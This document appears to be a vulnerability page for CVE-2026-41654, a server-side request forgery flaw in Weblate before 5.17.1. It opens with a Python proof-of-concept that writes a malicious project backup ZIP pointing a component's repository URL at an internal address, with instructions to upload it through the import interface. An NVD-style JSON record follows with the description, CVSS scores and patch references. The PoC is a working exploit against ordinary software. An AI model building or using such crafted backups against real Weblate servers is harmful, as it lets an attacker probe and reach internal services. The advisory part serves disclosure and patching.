CVE-2026-41654

# PoC for CVE-2026-41654 import zipfile import json # 1. Define malicious component configuration pointing to an internal service malicious_data = { "name": "ExploitComponent", "slug": "exploit-comp", "repo": "http://127.0.0.1:8080/ssrf_probe", # Internal URL to scan "vcs": "git", "project": {"slug": "target-project"} } # 2. Create the ZIP structure required by Weblate backup # Weblate expects components/<component_name>.json inside the zip with zipfile.ZipFile('malicious_weblate_backup.zip', 'w') as z: z.writestr('components/exploit-comp.json', json.dumps(malicious_data)) print("[*] Malicious backup file created: malicious_weblate_backup.zip") print("[*] Upload this file via Weblate's project import interface using an account with 'project.add' permission.")

{"cve": {"id": "CVE-2026-41654", "sourceIdentifier": "[email protected]", "published": "2026-05-07T15:16:07.907", "lastModified": "2026-05-11T15:30:11.730", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Weblate is a web based localization tool. Prior to version 5.17.1, an authenticated user with project.add permission (default on hosted Weblate SaaS and for any user holding an active billing/trial plan) can import a crafted project backup ZIP whose components/<name>.json contains an attacker-chosen repo URL pointing at a private address (e.g. http://127.0.0.1:9999/) or using a non-allow-listed scheme (e.g. file://, git://). Weblate persists the component via Component.objects.bulk_create([component])[0], which bypasses Django's full_clean() and therefore never runs the validate_repo_url validator. The URL is subsequently written verbatim into .git/config by configure_repo(pull=False). This issue has been patched in version 5.17.1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:weblate:weblate:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.17.1", "matchCriteriaId": "883115A9-8BF0-460B-B711-BDC6C4FCBE10"}]}]}], "references": [{"url": "https://github.com/WeblateOrg/weblate/commit/e1eff1f517c1ee315d69581910baaabb724e5ef0", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/WeblateOrg/weblate/commit/e4b67a76d95d5165ecb9937f7485fd79223b7f14", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/WeblateOrg/weblate/pull/19061", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/WeblateOrg/weblate/pull/19062", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/WeblateOrg/weblate/releases/tag/weblate-5.17.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/WeblateOrg/weblate/security/advisories/GHSA-cwcx-382v-8m9g", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}